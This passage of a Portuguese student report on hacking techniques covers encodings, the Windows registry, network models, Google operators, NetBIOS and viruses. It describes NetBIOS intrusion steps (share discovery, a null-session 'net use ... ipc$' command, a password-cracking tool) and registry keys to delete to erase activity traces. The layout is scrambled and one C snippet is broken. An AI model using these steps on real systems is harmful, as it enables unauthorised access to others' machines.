Tabela ASCII:

Page 23: relatorio de projecto-Documentação teórica das técnicas de hacking

23

Imagem 1 – Tabela ASCII

Á medida que passou a ser necessário representar mais caracteres começaram a surgir

várias extensões ao padrão ASCII. Demorou algum tempo para que fosse criado um

standard que fosse aceite pela maioria das pessoas. O que teve maior aceitação foi o

seguinte:

Page 24: relatorio de projecto-Documentação teórica das técnicas de hacking

24

Imagem 2 – Extensão da tabela ASCII

Um padrão que foi muito usado mas que hoje em dia apenas é mantido por uma questão

de compatibilidade é o padrão EBCDIC (Extended Binary Coded Decimal Interchange

Code) que é propriedade da IBM e que foi criado com o objectivo de estender o padrão

ASCII porque este usa 8 bits para a representação de caracteres. Este padrão de

codificação não utiliza uma representação para os primeiros 128 bits compatível com

ASCII.

Page 25: relatorio de projecto-Documentação teórica das técnicas de hacking

25

3.2.2 Padrão de codificação Unicode

O UNICODE foi criado para eliminar o problema de não existir um sistema de

codificação que pudesse conter todos os caracteres, uma vez que o uso de vários

sistemas de codificação diferentes é essencial para codificar todos os caracteres de todas

as línguas existentes. Mesmo para a língua inglesa não havia combinações suficientes

para codificar caracteres como letras, pontuações e símbolos técnicos com o padrão

ASCII.

Desta forma, os computadores (principalmente os servidores) podem ter que

suportar mais do que um sistema de codificação, para poder interpretar todos os

caracteres. Assim, pode surgir conflito entre os sistemas, uma vez que um carácter pode

ser representado por dois identificadores diferente, ou seja, um carácter pode ter uma

representação diferente em cada sistema de codificação e se não estiver a ser usado o

sistema correcto a mensagem vai aparecer incorrectamente.

Portanto, o UNICODE é um padrão universal para codificar caracteres de várias

linguagens, fornecendo um código único para cada carácter independentemente da

plataforma.

Os códigos possíveis no padrão UNICODE são combinações de dois bytes, ao invés

combinações de um byte único como no padrão ASCII. Logo, o UNICODE oferece 16

bits de identificadores binários, o que significa que consome 16 bits de memória,

consumindo assim, mais memória que os identificadores do padrão ASCII, que

consomem apenas 7 bits de memória.

O padrão UNICODE é um padrão em desenvolvimento, uma vez que é modificado á

medida que novos caracteres são acrescentados para serem atribuídos a um identificador

único.

Este padrão está a ser cada vez mais utilizado na indústria do software.

É possível consultar a tabela UNICODE a partir dos seguintes endereços:

Unicode Latim Básico:

http://www.radames.manosso.nom.br/gramatica/unicodelatimbasico.htm

Unicode Latim I Suplementar:

http://www.radames.manosso.nom.br/gramatica/unicodelatimi.htm

Unicode Latim Estendido A:

http://www.radames.manosso.nom.br/gramatica/unicodelatima.htm

Page 26: relatorio de projecto-Documentação teórica das técnicas de hacking

26

Unicode Latim Estendido B:

http://www.radames.manosso.nom.br/gramatica/unicodelatimb.htm

Unicode Extensões IPA: http://www.radames.manosso.nom.br/gramatica/unicodeipa.htm

3.3 Registo do Windows

O (Registry) Registo do Windows é uma espécie de base de dados, onde é armazenada a

informação sobre todas as aplicações instaladas, estrutura de directórios, informações

do utilizador, de drivers, configuração de hardware, etc. Ele existe desde as versões do

Windows 3.x, mas passou a ser utilizado como padrão, a partir do Windows 95.

Todas as actividades no sistema operativo dependem da existência do registo. O

Windows procura no registo as instruções para desempenhar correctamente uma tarefa,

os perfis de cada utilizador, quais os programas instalados e quais os arquivos que se

relacionam com ele, qual o hardware existente no computador, etc. É por isso que um

simples erro do Registo do Windows pode fazer o sistema operativo bloquear. Se isso

ocorrer, pode não ser possível encontrar programas, drivers ou configurações. Por

exemplo, se a instalação de um programa correr mal ou ocorrer uma falha de energia

numa área crítica, existe a hipótese de todo o Registo ficar danificado, ao ponto de nem

o Windows arrancar. Felizmente, nenhuma destas ocorrências é muito comum. Na

verdade, a maior fonte de problemas do Registo é o erro humano.

Grande parte dos ataques feitos contra sistemas atacam ou alteram o registo do

Windows, principalmente programas como vírus, Worms, trojans, etc. Assim torna-se

importante a compreensão do registo do Windows para este ser um meio de detecção de

programas instalados que podem ser uma ameaça ao sistema. É possível verificar

existência de referências a programas no sistema de arranque do registo do Windows,

alterar o MAC address da interface da máquina para efectuar um ataque MAC spoofing,

etc. Uma vez que existem malware que altera valore no registo do Windows é

necessário que o utilizador entenda como este funciona para que seja capaz de efectuar

correcções quando é necessário.

À medida que o PC é utilizado e são instalados e removidos programas, o Registo

começa a ficar cheio de lixo. A maior parte desse lixo encontra-se no ficheiro

HKEY_CLASSES_ROOT. Nenhum programa remove totalmente as entradas criadas no

Registo. Existe, porém, programas que permitem remover algumas entradas, entre elas,

Page 27: relatorio de projecto-Documentação teórica das técnicas de hacking

27

entradas inválidas e danificadas que podem causar problemas no funcionamento do

sistema operativo (por exemplo os programas RegistryFix, EasyCleaner, etc.).

O Registo está divido em seis ramos, alguns mais complexos que outros. Trata-se da

estrutura básica do Registo do Windows. Cada um tem uma finalidade:

Imagem 3 – Editor de Registo do Windows (raiz do registo)

HKEY_CLASSES_ROOT:

É um atalho para a chave HKEY_LOCAL_MACHINE\SOFTWARE\Classes e a sua

finalidade é manter a compatibilidade com programas de 16 bits. A abreviação dessa

chave é geralmente "HKCR".

HKEY_CURRENT_USER:

Contém todos os perfis de utilizadores com sessão activa no computador.

HKEY_CURRENT_USER é uma sub chave de HKEY_USERS. HKEY_USERS é

algumas vezes abreviada como "HKU."

HKEY_LOCAL_MACHINE:

Contém a informação de configuração específicas para o computador (para qualquer

utilizador), ou seja, informações sobre programas e hardware. Para se ter noção da

importância desta chave, os seus dados são guardados num arquivo chamado system.dat

e apenas pode ser alterado por um administrador do sistema. A abreviação desta chave é

"HKLM".

Hardware: Contém a configuração do hardware como portas paralelas, interfaces SCSI

(Small Computer Systems Interface), etc.

Page 28: relatorio de projecto-Documentação teórica das técnicas de hacking

28

Security: Contém informação acerca dos fornecedores de segurança de computadores

em rede.

Software: Esta chave contém a informação relativa a todo o software instalado no

computador. É aqui que a maior parte do lixo se acumula. Num sistema Windows mais

recente, pode ocupar um espaço muito grande.

System: Contém toda a informação necessária para o Windows conseguir iniciar-se.

Esta é uma área particularmente crítica.

Imagem 4 – Editor de registo do Windows (HKEY_LOCAL_MACHINE)

HKEY_USERS:

No Windows é possível ter vários utilizadores num único computador. A função desta

chave é guardar informações de cada um deles. Todas as limitações dos utilizadores,

assim como todas as suas configurações podem ser manipuladas aqui. O ramo

HKEY_USERS é algumas vezes abreviada como "HKU".

HKEY_CURRENT_CONFIG

É um atalho que contém configurações do utilizador actual do computador relativas ao

hardware. Este atalho é útil quando é necessário procurar informações do utilizador que

está com sessão iniciado, pois todas as suas informações aparecem nesta chave.

Em seguida, apresenta-se os tipos de dados armazenados no registo do Windows:

Page 29: relatorio de projecto-Documentação teórica das técnicas de hacking

29

Nome Tipo de dados Descrição

Valor binário REG_BINARY Dados binários não

processados. Grande parte

das informações do

hardware é armazenada

como dado binário

Valor DWORD REG_DWORD Dados representados por

um número inteiro (4

bytes).

Valor de cadeia expansível REG_EXPAND_SZ Uma cadeia de dados de

comprimento variável.

Incluem variáveis que são

utilizadas pelo Windows

como apontador para a

localização dos ficheiros, e

são resolvidas quando um

programa ou serviço usa os

dados.

Valor de cadeia múltipla REG_MULTI_SZ Uma cadeia múltipla.

Valores que contém listas

ou valores múltiplos num

formato que as pessoas

conseguem ler são

geralmente desse tipo. As

entradas são separadas por

espaços, vírgulas ou outras

pontuações.

String Value REG_SZ Cadeia de texto com

tamanho fixo.

É aconselhado fazer cópias de segurança do registo do computador antes se fazer

alguma alteração a este. Para fazer o backup do registo basta seguir o seguinte caminho:

abrir o Editor de Registo (‘Iniciar’> ‘Executar’> regedit) e ir ao menu ‘Ficheiro’>

Page 30: relatorio de projecto-Documentação teórica das técnicas de hacking

30

‘Exportar’. Na janela de exportação, ao fundo, em ‘Intervalo de exportação’ seleccione

‘Tudo’, depois dê um nome e carregue em ‘Guardar’.

Existe mais de uma maneira de alterar o registo do Windows para realizar o mesmo

objectivo.

È possível usar um ficheiro com extensão.reg para editar o registo. O registo do

Windows guarda um histórico com os comandos escritos na caixa de diálogo da opção

EXECUTAR. Assim, um exemplo possível de alteração do registo é apagar o histórico

de todas as acções feitas.

Para conseguir apagar o histórico de todas as acções feitas é necessário ir ás pastas do

registo que se encontram a seguir e apagar todos os valores existentes.

Pastas onde se tem de apagar os valores:

A partir de uma alteração no registo é possível ocultar o nome de utilizador,

personalizar a imagem de fundo para a barra de ferramentas, não permitir que as

pessoas que usam o computador alterem o que quer que seja no menu ‘Iniciar’ (esta

alteração permite que seja impossível arrastar e largar de e para o menu ‘Iniciar’ ícones

de ficheiros, atalhos, etc.), entre outras alterações.

[-HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\

TypedURLs]

[-

HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi

on\Explorer\RunMRU]

[-

HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi

on\Explorer\RecentDocs]

[-

HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi

on\Explorer\ComDLg32\Last VisitedMRU]

[-HKEY_CURRENT_USER\software\Microsoft\Search

Assistant\ACMru]

Page 31: relatorio de projecto-Documentação teórica das técnicas de hacking

31

Devido a extrema flexibilidade do registo é possível a um atacante conseguir instalar

software como vírus, spyware, etc., sem que estes sejam detectados pelos softwares de

protecção.

Existem dois sub-ramos da árvore do registo que normalmente são mais usados para

armazenar informação desse tipo de software e que devem ser analisados caso se

desconfie que o computador está infectado. São os seguintes:

3.4 Ponteiro para funções em C

A diferença principal entre um ponteiro normal e um ponteiro para uma função é que

enquanto o primeiro aponta para uma zona de dados o segundo aponta para uma zona de

código o que permite que a função para a qual ele aponte seja activada e executada.

Esta particularidade da programação em C vai ser abordado mais adiante no capítulo

sobre overflow. Torna-se estão necessário a sua compreensão para o utilizador perceber

a estrutura e o funcionamento do código de programas que utilizam esta forma de

ponteiros. A compreensão do funcionamento dos ponteiros para funções é essencial

para perceber o objectivo de quase todos os ataques de heap overflow.

Um ponteiro para uma função é declarado do seguinte modo:

<TIPO_Retorno> (*nome_funcao) (lista_argumentos);

É necessário colocar o asterisco e o nome da função entre parêntesis para o compilador

interpretar como um ponteiro para uma função, porque se não for colocado com estes o

compilador vai considerar a declaração de um protótipo para a função em vez de um

ponteiro.

Por exemplo se tivermos a função “Int soma (int a, int b)” podemos ter a seguinte

declaração de ponteiro:

[HKEY_CURRENT_USER\software\Microsoft\Windows\Curre

ntVersion]

[HKEY_LOCAL_MACHINE\software\Microsoft\Windows\Curre

ntVersion]

int (*soma) (int um, int 2);

Page 32: relatorio de projecto-Documentação teórica das técnicas de hacking

32

Se quisermos utilizar a estrutura typedef podemos declarar de duas formas:

Deixando que o asterisco fique na variável que declaramos do tipo ponteiro para função

ou então de forma a deixar que o asterisco fique antes da variável que aponta para a

função.

No primeiro caso fica:

No segundo caso fica:

A escolha entre uma e outra depende apenas da preferência do programador.

Um exemplo completo:

/* Na declaração: */

Typedef int (funcao_t) (int a, int b);

/* E na atribuição: */

Funcao_t *soma;

/* Na declaração: */

Typedef int (*funcao_t) (int a, int b);

/* E na atribuição: */

Funcao_t soma;

Page 33: relatorio de projecto-Documentação teórica das técnicas de hacking

33

Neste exemplo a variável “a” é iniciado com o endereço de “b” e quando “a” é chamado

este ponteiro chama a função “b” que apresenta no ecrã o valor recebido por parâmetro.

3.5 Modelos de transmissão de dados em rede

Existem dois modelos de transmissão de dados que são mais usados para a comunicação

entre computadores. A compreensão dos protocolos de transmissão e dos diversos

protocolos associados a estes é importante para compreender o funcionamento dos

ataques a sistemas que fornecem serviços numa rede e ataques a redes.

/*exemplo retirado da página:

*http://www.ronaldolima.eti.br/modules.php?op=modload&name=

News&file=article&*sid=64&mode=thread&order=0&thold=0

*/

#include <stdio.h>

typedef int (func_t)(int b);

static int b (int i);

int main (void)

{

func_t * a;

a = b;

/* Este é o ponto onde "a" activa a função "b" */

a(10);

return 0;

}

static int b (int i){

return printf ("i = %d\n", i);

}

Page 34: relatorio de projecto-Documentação teórica das técnicas de hacking

34

Cada modelo possui camadas responsáveis por tratar os pacotes recebidos e a enviar.

Um ataque costuma ser direccionado a uma determinada camada, dependendo do

objectivo

3.5.1 Modelo OSI

O modelo OSI (Open Systems Interconnection) é um conjunto de padrões que definem

como deve ser efectuada a comunicação de dados entre máquinas (mesmo tipo de

máquinas ou não, mesmas máquinas com diferentes sistemas operativos, etc.).

O modelo OSI tem sete camadas: a camada de aplicação, a camada de apresentação, a

camada de sessão, a camada de transporte, a camada de rede, a camada de ligação de

dados e a camada física. O esquema que se segue apresenta como os dados se

movimentam entre as várias camadas quando dois sistemas pretendem trocar

informação.

Imagem 5- esquema a representar o modelo OSI

A camada de aplicação (camada 7) e a camada de topo do modelo OSI. Esta é a

camada com que a maioria dos utilizadores interage porque é aqui que se

encontram os programas de e-mail, FTP, Telnet, browsers web, e todas as outras

Page 35: relatorio de projecto-Documentação teórica das técnicas de hacking

35

aplicações que usam a rede. Assim também é nesta camada que se encontram os

vírus, worms, trojan horses, etc.

A camada de apresentação (camada 6) encontra-se logo abaixo da camada de

aplicação. Esta camada é a responsável em traduzir a informação recebida das

camadas inferiores em linguagem perceptível aos programas que se encontram

na camada de aplicação. Como por exemplo, este deve converter a informação

para o formato ASCII, Unicode, etc. Além desta função esta camada é ainda

responsável por cifrar e decifrar a informação quando a informação transmitida é

cifrada.

A camada de sessão (camada 5) é a camada que se encontra abaixo da camada

de apresentação. Esta camada é a responsável por criar, controlar e desligar

ligações quando é usado o protocolo TCP. Nesta camada encontram-se

protocolos de sessão como o RPC (Remote Procedure Call) e SQLNet. Esta está

vulnerável a vários tipos de ataque, como sniffing, DoS e desvio de sessão.

A camada 4 é conhecida como camada de transporte. Esta camada é responsável

por dividir os dados a enviar e passa-los para a camada inferior. Nesta etapa são

recebidos os pacotes, onde são montados e passados para a camada de sessão.

Esta camada é também responsável pelo controlo fluxo (colocar os pacotes pela

ordem correcta) e pela correcção de erros (geralmente executa esta tarefa

enviando um pacote ao transmissor (pacote de Aknowledge) com a informar de

que recebeu o pacote sem erros). Os protocolos TCP e UDP operam nesta

camada. Esta camada está vulnerável a ataques de DoS, ataques ao protocolo

TCP (ataques SYN) e buffer overflow.

A camada de rede (camada 3) é a camada que trata do endereçamento e do

encaminhamento de informação. Nesta camada encontrasse o protocolo IP

(Internet Protocol) responsável por encaminhar da melhor maneira os pacotes

do emissor para o receptor. Esta camada está vulnerável a vários ataques como

route poisoning, DoS, spoofing, ataques a fragmentação de pacotes. A segurança

nesta camada está na sua maioria entregue ao protocolo IPSec quando este é

usado no sistema.

A camada 2, ligação de dados é a responsável por organizar os dados a enviar

para a camada física em frames,. No sistema receptor esta camada é a

responsável por retirar os dados da frame recebida e passa-los para a camada de

Page 36: relatorio de projecto-Documentação teórica das técnicas de hacking

36

rede. Esta camada também é responsável por detectar e resolver erros que

ocorram na camada física. O ataque mais comum contra esta camada é

conhecido por ARP poisoning.

A camada 1, física é responsável por definir quanto tempo um bit dura e como

este é transmitido e recebido. Se a informação que circula na rede não for cifrada

é possível que a informação seja interceptada por um atacante.

A unidade de dados (PDU) usada em cada camada está indicada na imagem seguinte:

Imagem 6 - correspondência entre as camadas do modelo OSI e nome da unidade

de dados.

A unidade de dados é a unidade básica de informação numa determinada camada, ou

seja, é o nome que se dá a uma unidade que é composta por dados e por informação

extra que define qual a camada que consegue interpretar essa unidade.

Cada camada para poder comunicar adiciona aos dados um “Header” e um “Trailer”. O

“Header” contem informação que apenas a própria camada consegue entender, por

exemplo quando um computador adiciona o “Header” da camada de transporte apenas a

Page 37: relatorio de projecto-Documentação teórica das técnicas de hacking

37

camada de rede do receptor consegue entender os dados quando a informação chegar a

este. O “Trailer” vai permitir que os dados sejam entendidos pela camada acima da

camada em que os dados se encontram, por exemplo se os dados se encontrarem na

camada de rede vão conter no “Trailer” informação para que a informação seja

entendida na camada de transporte. O “Trailer” é o “Header” da camada acima.

Imagem 7 - Esquema a representar a unidade de dados nas várias camada

Assim depois desta explicação pode-se ver que o PDU (Protocol data unit) é o

“Header” adicionado em cada camada e o SDU (Service Data Unit) é o “Trailer”, ou

seja, o SDU numa camada é o PDU da camada Acima. Como se pode ver pelo esquema

abaixo quando se pretende enviar dados é adicionada informação protocolar em cada

camada para que quando a informação chegue ao destinatário este seja capaz de

entender os dados que recebeu, porque ao passar por cada uma das camadas é retirada a

informação protocolar dessa e a unidade de dados enviada para a camada superior

contem o informação protocolar dessa camada.

Page 38: relatorio de projecto-Documentação teórica das técnicas de hacking

38

Imagem 8 – Esquema a ilustrar a informação protocolar que está adicionada

aos dados em cada camada

3.5.2 Modelo TCP/IP

O núcleo do modelo TCP/IP é baseado em quatro protocolos principais: o protocolo IP

(Internet Protocol), o protocolo TCP (Transmission Control Protocol), protocolo UDP

(User Datagram Protocol) e o protocolo ICMP (Internet Control Message Protocol).

O modelo TCP/IP foi criado de forma a ser o mais flexível possível na comunicação de

dados e para trabalhar num ambiente de confiança, o que faz com que existam muitos

protocolos inseguros na sua constituição.

O modelo TCP/IP apresenta quatro camadas:

A camada de aplicação que é onde trabalham aplicações para detectar problemas

na rede, de transferência de ficheiros, browsers, etc.alguns dos protocolos que se

Page 39: relatorio de projecto-Documentação teórica das técnicas de hacking

39

encontram nesta camada e que são usados por estas aplicações são o protocolo

FTP, SNMP, .Telnet, http, SMTP, DNS, SSH, etc. Os protocolos usados nesta

camada estão vulneráveis a ataques de captura de passwords, spoofing, DNS

poisoning, etc.

A camada de transporte é responsável por entregar os dados que chegam á

camada de aplicação correctamente, é responsável por garantir que os dados

chegam ao destino e ao chegarem não estejam corrompidos. É nesta camada que

se encontram os protocolos TCP e UDP. Os protocolos usados nesta camada

estão vulneráveis a ataques de DoS, desvio de sessão, etc.

A camada de rede fornece endereçamento lógico para permitir que sejam

trocados dados entre redes diferentes. É responsável pelo encaminhamento de

dados entre redes diferentes e tem de relacionar os endereços lógicos com os

endereços físicos das máquinas ligadas na rede. Nesta camada encontram-se

entre outros os protocolos IP, ICMP e ARP. Os protocolos desta camada estão

vulneráveis a ataques de routing, ataques a fragmentação de pacotes, análise de

tráfico e ataques men-in-the-middle.

A camada de ligação à rede é responsável pelo controlo de erros dos dados que

chegam da rede. É responsável por formatar os dados recebidos e os dados a

enviar. É responsável por endereçar os dados a enviar para a sub rede correcta.

Nesta camada encontram-se protocolos como PPP e SLIP. O ataque de spoofing

do MAC address ocorre nesta camada.

Page 40: relatorio de projecto-Documentação teórica das técnicas de hacking

40

Imagem 9 – Esquema que representa as camadas do modelo TCP/IP

Page 41: relatorio de projecto-Documentação teórica das técnicas de hacking

41

Apesar dos dois modelos não terem uma correspondência exacta podem ser comparados

da seguinte maneira:

Imagem 10 – Esquema que representa a correspondência entre o modelo

OSI e TCP/IP.

3.6 Usar o google para pesquisas avançadas

O google é um motor de busca revolucionário, através do qual é possível efectuar

pesquisas que devolvem qualquer informação, que se encontre nos servidores se for

usada a combinação de operadores e expressões certas.

Em seguida vão ser apresentados os vários operadores e alguns exemplos da utilização

destes.

Alguns dos operadores básicos que podem ser usados apenas para melhorar a precisão

de resultados de uma pesquisa são:

O carácter “+”, força a inclusão da palavra que se segue ao operador na

pesquisa. Este operador é necessário porque as palavras mais conhecidas são

Page 42: relatorio de projecto-Documentação teórica das técnicas de hacking

42

ignoradas automaticamente pelo motor de pesquisa se o utilizador não indicar

que quer que sejam incluídas na pesquisa. Por exemplo, se colocar a frase

“projecto de engenharia informática” a palavra “de” é ignorada pelo motor de

pesquisa e vai devolver resultados que não contem esta palavra, mas se for

colocada a frase “projecto +de engenharia informática” os resultados devolvidos

vai incluir todas as palavras da pesquisa porque é forçada a inclusão da palavra

“de”;

Imagem 11 – Exemplo de utilização do operador “+” na pesquisa do google

O carácter “-“ , força a exclusão de uma palavra da pesquisa. Este operador

permite que sejam filtrados os resultados que á partida se sabe que não

interessam. Por exemplo, se quisermos procurar textos apenas em inglês

britânico que contenham a palavra “optimisation” e que não sejam apresentados

nos resultados links de páginas em inglês americano que neste caso tem a

palavra “optimization” deve-se fornecer a frase “optimisation -optimization” ao

motor de busca para apresentar apenas os resultados das páginas em Inglês

britânico;

Page 43: relatorio de projecto-Documentação teórica das técnicas de hacking

43

Imagem 12 - Exemplo de utilização do operador “-” na pesquisa do google

Os caracteres “”, são usados caso seja pretendido que os resultados apresentados

tenham exactamente a frase que é fornecida no motor de pesquisa tem de ser

usado o operador aspas. Quando se efectua uma pesquisa são apresentados os

resultados que contenham cada uma das palavras fornecidas e a única maneira

de garantir que são apresentados apenas resultados que contenham exactamente

a expressão que se inseriu para pesquisa é necessário usar este operador. Por

exemplo, se for pretendido pesquisar “cerveja bohemia” e não for usado o

operador aspas vão ser devolvidas páginas que contenham a palavra “cerveja” e

a palavra “bohemia” indexada mas se a pesquisa for feita com a frase “”cerveja

bohemia””, como é usado o operador aspas apenas são devolvidas páginas que

contenham frases que foram inseridas para pesquisa indexada.

Page 44: relatorio de projecto-Documentação teórica das técnicas de hacking

44

Imagem 13 - Exemplo de utilização do operador aspas (“”) na pesquisa do

google

O carácter “~”, indica ao motor de busca que deve devolver resultados com a

palavra pesquisada e com sinónimos desta. Por exemplo, se for pesquisada a

palavra “barriga” são devolvidas páginas que contenham palavras indexadas

como “pança”, “abdómen”, “bandulho”, etc.

Page 45: relatorio de projecto-Documentação teórica das técnicas de hacking

45

Imagem 14 - Exemplo de utilização do operador aspas ~ na pesquisa do

google

A notação para usar os operadores avançados do google é Operador:termo_a_pesquisa

Alguns dos operadores de pesquisa avançados que o google fornece são:

Site: O termo a inserir para pesquisar é um URL seguido dos termos que

pretende pesquisar. Este operador permite fazer pesquisa no site que é indicado à

frente. Muitas vezes este método consegue ser mais útil para fazer pesquisa

dentro de um site que a funcionalidade de pesquisa do site onde se pretende

pesquisar. É possível por exemplo, obter facilmente qual a página de projecto

informático 1 se for inserida a frase “site:www.dei.estg.ipleiria.pt projecto

informatico 1”.

Imagem 15 - Exemplo de utilização do operador site na pesquisa do google

Page 46: relatorio de projecto-Documentação teórica das técnicas de hacking

46

Intitle: Este operador é usado para indicar ao motor de pesquisa que apenas deve

devolver páginas que tenham a frase pesquisada no título das paginas. Por

exemplo se for feita a pesquisa “intitle:sic” são devolvidas apenas as páginas

que incluem a palavra sic no título como “SIC Online - Home”, “SIC Radical”,

etc.

Imagem 16 - Exemplo de utilização do operador “intitle” na pesquisa do

google

Inurl: Este operador devolve os endereços que contenham a expressão

procurada no URL da página. Este operador é muito útil para pesquisar sobre

assuntos específicos. Por exemplo, se inserirmos a frase “inurl:buffer_overflow”,

são devolvidos os endereços de páginas que incluam o tema na URL e que

certamente apresentam informação útil sobre o tema.

Page 47: relatorio de projecto-Documentação teórica das técnicas de hacking

47

Imagem 17 - Exemplo de utilização do operador “inurl” na pesquisa do

google

Link: O termo a inserir para pesquisar é um URL. Este operador devolve como

resultado as páginas que tem uma ligação para o URL indicado na pesquisa. Por

exemplo, se for inserida a para pesquisa “link:www.fccn.pt” são apresentados

como resultados as páginas que tem uma hiperligaçao no seu código para a

página www.fccn.pt;

Imagem 18 - Exemplo de utilização do operador “link” na pesquisa do

google

Page 48: relatorio de projecto-Documentação teórica das técnicas de hacking

48

Cache: O termo a inserir para pesquisar é um URL. Este operador faz com que o

google apresente a ultima versão que guardou em cache do endereço que foi

inserido. Este endereço é útil caso se pretenda ver um website que esteja offline.

Apenas é possível ver a página como foi guardada e não é possível interagir com

esta, ou seja, não é possível navegar dentro da página apresentada;

Imagem 19 - Exemplo de utilização do operador “cache” na pesquisa do

google

Related: O termo a inserir para pesquisar é um URL. Este operador devolve

como resultado da pesquisa páginas que o google “pensa” terem um conteúdo

semelhante ao conteúdo do endereço inserido. Se for inserida a frase

“related:www.ipleiria.pt” vão ser apresentados os links para outros politécnicos

do país.

Page 49: relatorio de projecto-Documentação teórica das técnicas de hacking

49

Imagem 20 - Exemplo de utilização do operador “related” na pesquisa do

google

Define: Este operador devolve a definição do termo que é inserido. Se for

inserido a frase “define:trabalho” é apresentada a definição da palavra trabalho.

Page 50: relatorio de projecto-Documentação teórica das técnicas de hacking

50

Imagem 21 - Exemplo de utilização do operador “define” na pesquisa do

google

Filetype: Este operador permite fazer pesquisas por documentos com uma

determinada extensão. Por exemplo, se for inserida a frase “filetype:mp3” são

devolvidos links de páginas que contem ficheiro com a extensão “mp3”;

Imagem 22 - Exemplo de utilização do operador “filetype” na pesquisa do

google

Page 51: relatorio de projecto-Documentação teórica das técnicas de hacking

51

4 NetBios

NetBios é um sistema que fornece ás aplicações de rede um serviço de transmissão

orientado è conexão, um serviço de nomes para identificar os hosts na rede e um serviço

de transmissão de pacotes. Por outras palavras, NetBios é uma especificação de

interface para o acesso a serviços de rede (API).

Trabalha na camada 5 do modelo OSI (Camada de Sessão), faz a ligação entre os

programas e o protocolo NetBEUI. NetBIOS pode ser utilizado em conjunto com outros

protocolos, permitindo que os programas utilizem uma linguagem global para aceder a

rede, independente do protocolo que esteja instalado na máquina. NetBios tem sido

adoptado como um standard mundial e hoje é comum encontrar uma rede local

compatível com NetBios.

Os nomes NetBios são utilizados para identificar recursos da rede. Este identifica cada

máquina com um nome único (como por exemplo SPI1-M13) de forma a identificar

cada dispositivo na rede (resolução de nomes). Também é possível configurar um nome

para cada uma das funções de uma máquina, uma vez que esta também pode ser

configurada para várias funções. As aplicações usam esses nomes para efectuar

conexões entre computadores.

Antes de ser atribuído um nome NetBios a uma máquina ou serviço, toda a rede é

“avisada” por broadcast e o computador espera pela resposta. Se nenhuma máquina

estiver a usar o respectivo nome, o nome é atribuído ao computador ou serviço.

Existe uma tabela pertencente a cada nó com todos os nomes usados.

As portas NetBios sobre o protocolo TCP/IP são o serviço de nomes NetBios (UDP)

porta 137, serviço de datagramas NetBios (UDP) porta 138 e o serviço de conexão

NetBios (TCP) 139.

É possível interagir directamente com NetBios usando o comando NetStat, basta

introduzir este comando na linha de comandos. Por exemplo, se introduzirmos o

comando “NETSTAT 127.0.0.1”, será listada a informação sobre o computador como o

protocolo utilizado, o endereço externo, o endereço interno e o estado:

Page 52: relatorio de projecto-Documentação teórica das técnicas de hacking

52

Imagem 23 – Listagem de informações do computador usando o

comando netstat

O NetBios é considerado um sistema básico. É um protocolo simples de utilizar e é

preciso apenas um sistema operativo básico e estar conectado á rede para o explorar.

É possível fazer ataques de escrita/leitura a um computador remoto e ataques de

negação de serviço ao computador que tenham o protocolo NetBios activo.

NetBios apenas pode ser usado para atacar um computador se este tiver a partilha de

ficheiros ou impressoras activas.

Imagem 24 – Execução do comando “nbtstat –n” para saber se a partilha de

pastas e impressoras está activa.

O número <20> significa que a vítima tem ficheiros ou impressoras partilhadas.

Se o resultado devolvido for "Host Not found", significa que a porta 139 (TCP) está

fechada ou que o endereço de IP não existe.

Page 53: relatorio de projecto-Documentação teórica das técnicas de hacking

53

Depois de encontrado uma vítima o próximo passo é ver as drives ou ficheiros que a

esta está a partilhar. Para isso, basta digitar o comendo net view \endereço_ip. Caso o

resultado seja CDISK Disk significa que a vítima está a partilhar um disco que tem o

nome de CDISK. É possível receber as informações adicionais logo a seguir. Por

exemplo, se o próximo resultado for HP-6L Print significa que a vítima está a partilhar

uma impressora chamada HP-6L Print.

Depois de conseguir descobrir quais são as partilhas é possível criar uma ligação para o

disco, para escrita e leitura de ficheiro ou para usar a impressora para imprimir

ficheiros. Para ver o conteúdo do disco o atacante apenas tem que se ligar ao disco da

vítima. É criada uma drive no computador do atacante e basta fazer duplo click para ver

o seu conteúdo. Isto é, como se tivéssemos mais uma partição a partir de outro disco,

que neste caso é o da vítima, com a letra escolhida, por exemplo “h”.

Para efectuar a conexão é preciso utilizar um comando NET. Este comando pode ser

introduzido pelos administradores através do DOS para mostrar informações sobre os

recursos partilhados assim como as conexões, a rede e os servidores. Também permite

fazer diversas configurações como do domínio e de recursos partilhados.

Ao fazer a conexão é possível que seja pedida uma password partilhada. Para descobrir

a password basta usar um programa que descubra passwords como o PQWAK (apenas

para passwords do sistema operativo Windows 95, Windows 98, Windows me). Basta

dar ao programa a informação referente ao endereço IP e o nome da máquina da vítima.

Para as versões do Windows mais recentes pode-se usar o IPC$. O IPC$ não descobre

passwords, apenas diz ao sistema operativo para atribuir um acesso convidado de forma

a ser dado acesso sem pedir uma password.

Uma forma de utilizar o IPC$ é conjuntamente com o comando NET como, net use

letra: \\endereçoIPipc$ "" /user:"", em que “letra” é a letra do nome da drive. Uma vez

que, usando este último método, o atacante se conecta como guest, apenas será possível

ver os dados partilhados, mas por outro lado pode ser útil para obter informações

valiosas como o nome de todos os utilizadores.

Algumas das ferramentas que utilizam o IPC$ são Internet Periscope e enum, etc.

Page 54: relatorio de projecto-Documentação teórica das técnicas de hacking

54

5 Vírus

Um vírus de computador é um programa que entra num sistema com o intuito de se auto

reproduzir, seja ao replicar-se dentro do mesmo sistema ou espalhar-se por outros

sistemas (se este se encontrar ligado a uma rede) com o intuito de danificar o sistema

(vírus maligno) que infecta ou de apenas incomodar o utilizador desse sistema com

mensagens ou acções irritantes (vírus benigno).

Segundo a história, o primeiro vírus informático que apareceu foi em 1981 intitulado

Elk Cloner que infectava sistemas Apple e em 1986 surgiu o vírus Brain que foi o

primeiro vírus conhecido a infectar sistemas Microsoft.

Nenhum computador está imune a vírus.

5.1 Vírus tradicionais

Os vírus podem propagar-se de várias maneiras. Inicialmente propagavam-se

maioritariamente pela partilha de disquetes, mas actualmente a maioria dos vírus

propaga-se pela Internet nomeadamente pelas mensagens de e-mail. Actualmente os

vírus que se propagam por e-mail evoluíram de tal forma que para um sistema ficar

infectado apenas é necessário que o utilizador pré visualize o e-mail, ao contrario dos

vírus iniciais em que era necessário que o utilizador executasse o ficheiro que fosse

enviado em anexo com o vírus.

Actualmente, se um sistema que não se encontra actualizado for ligado à Internet ao fim

de alguns segundos já se encontrará infectado com pelo menos um vírus.

Existem vários tipos de vírus que serão descritos de seguida.

Vírus que infectam ficheiros:

